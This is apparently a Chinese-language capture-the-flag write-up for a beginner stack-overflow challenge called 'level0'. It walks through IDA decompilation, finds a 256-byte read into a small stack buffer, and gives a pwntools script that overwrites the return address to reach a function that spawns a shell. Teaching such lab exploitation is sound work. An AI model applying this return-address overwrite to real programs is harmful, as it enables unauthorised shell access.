博文中所用程序:点我下载
提取码:v8qi
在IDA中经过反编译之后可以看到,这个题中seeme函数的功能就是拿到shell,因此不需要再去手动注入shellcode,只需将sayhi函数的返回地址覆盖成seeme函数的入口地址即可。
int seeme()
{
return system("/bin/sh");
}
在IDA中可以很容易的得到seeme函数的入口地址为0x080485B3,如下图所示。
下面考虑如何覆盖sayhi函数的返回地址。在IDA中,查看sayhi函数的伪代码。
int sayhi()
{
char v1; // [esp+0h] [ebp-28h]
puts("Could I know your name?");
myRead((int)&v1, 256);
return printf("Hi, %s.\n", &v1);
}
发现有一个char
类型的变量v1,它在栈的ebp-28h的位置,之后是输出一个字符串,然后调用了myRead
函数,查看此函数的伪代码。
int __cdecl myRead(int a1, int a2)
{
int i; // [esp+Ch] [ebp-Ch]
for ( i = 0; i < a2; ++i )
{
read(0, (void *)(i + a1), 1u);
if ( *(_BYTE *)(i + a1) == 10 )
{
*(_BYTE *)(i + a1) = 0;
return i;
}
}
return i;
}
可以看出来,它的功能是使用C语言的库函数read读取a2个字符到地址a1中。看到这儿,就已经可以发现程序的漏洞所在了,v1是一个char类型的变量,它只能存储一个字符,但是在调用myRead
函数时,却让它读取256个字符,这样极容易发生栈溢出。
前面说过,v1在栈上的位置是ebp-28h,而我们输入的字符串的首地址就是v1的地址,那么我们可以输入28h个填充字符覆盖从v1到ebp的空间,再输入4个填充字符覆盖旧的ebp,最后输入seeme
函数的入口地址0x080485B3(注意小端方式),整个栈的结构如下图所示。
由上述分析可知,总共需要输入28h+4+4 = 48个字符,小于256,攻击可以实现。
python脚本
from pwn import *
p = process('./level0')
backdoor = 0x080485B3
payload = b'a' * (0x28 + 4) + p32(backdoor)
p.sendline(payload)
p.recv()
p.interactive()